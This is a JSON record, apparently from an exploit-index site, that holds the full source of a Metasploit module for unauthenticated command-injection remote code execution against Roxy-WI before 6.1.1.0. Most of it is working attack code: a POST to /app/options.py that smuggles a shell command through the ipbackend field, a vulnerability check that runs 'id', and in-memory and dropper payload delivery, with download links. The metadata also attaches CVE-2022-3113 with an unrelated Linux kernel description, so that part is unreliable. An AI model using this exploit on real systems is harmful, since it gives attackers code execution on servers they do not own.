{"exploit":{"id":"MSF-linux--http--roxy_wi_exec","name":"Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE","description":"This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.","cves":["CVE-2022-3113","CVE-2022-31137"],"author":"Nuri Çilengir","published":"2022-07-06","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/roxy_wi_exec.rb","path":"modules/exploits/linux/http/roxy_wi_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"roxy_wi_exec.rb","vulnerabilities":[{"id":"CVE-2022-3113","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in the Linux kernel through 5.16-rc6. mtk_vcodec_fw_vpu_init in drivers/media/platform/mtk-vcodec/mtk_vcodec_fw_vpu.c lacks check of the return value of devm_kzalloc() and will cause the null pointer dereference.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-3113","cvss":{"version":"3.1","baseScore":5.5,"severity":"medium","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-3113"},"updatedAt":"2025-04-22T13:56:46.160Z","retrievedAt":"2026-11-25T20:52:32.181Z","stale":false,"error":null},{"id":"CVE-2022-31137","state":"PUBLISHED","title":"Unauthenticated Remote Code Execution in Roxy-WI","titleSource":"CVE Program","description":"Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Versions prior to 6.1.1.0 are subject to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. Users are advised to upgrade. There are no known workarounds for this vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-31137","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-31137"},"updatedAt":"2025-04-22T17:51:19.004Z","retrievedAt":"2026-11-25T20:52:38.718Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--roxy_wi_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--roxy_wi_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--roxy_wi_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--roxy_wi_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',\n        'Description' => %q{\n          This module exploits an unauthenticated command injection vulnerability in Roxy-WI\n          prior to version 6.1.1.0. Successful exploitation results in remote code execution\n          under the context of the web server user.\n\n          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module\n        ],\n        'References' => [\n          ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory\n          ['GHSA', '53r2-mq99-f532', 'roxy-wi/roxy-wi'], # Additional Information\n          ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch\n          ['CVE', '2022-31137']\n        ],\n        'DefaultOptions' => {\n          'SSL' => true,\n          'WfsDelay' => 25\n        },\n        'Targets' => [\n          [\n            'Unix (In-Memory)',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :in_memory\n            }\n          ],\n          [\n            'Linux (Dropper)',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :dropper\n            }\n          ]\n        ],\n        'CmdStagerFlavor' => ['printf'],\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'DisclosureDate' => '2022-07-06',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n      ]\n    )\n  end\n\n  def execute_command(cmd, _opts = {})\n    return send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),\n        'vars_post' => {\n          'serv' => '127.0.0.1',\n          'ipbackend' => \"\\\"; #{cmd} ;#\",\n          'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),\n          'backend_server' => '127.0.0.1'\n        }\n      }, 10\n    )\n  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT\n    return nil\n  end\n\n  def check\n    print_status(\"Checking if #{peer} is vulnerable!\")\n\n    res = execute_command('id')\n\n    return CheckCode::Unknown(\"Didn't receive a response from #{peer}\") unless res\n\n    if res.code == 200 && res.body =~ /uid=\\d+\\(.+\\)/\n      print_status(\"#{peer} is vulnerable!\")\n      return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')\n    elsif res.code == 200\n      return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')\n    else\n      return CheckCode::Safe(\"The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.\")\n    end\n  end\n\n  def exploit\n    print_status('Exploiting...')\n    case target['Type']\n    when :in_memory\n      execute_command(payload.encoded)\n    when :dropper\n      execute_cmdstager\n    end\n  end\nend\n","sha256":"91d7d001c26be0e81f34cfca04bfd667774ca2000709dcc665f3f53f582c572b","bytes":3819,"fetchedAt":"2026-11-26T12:33:01.303Z","encoding":"utf-8 (display only; download retains original bytes)"}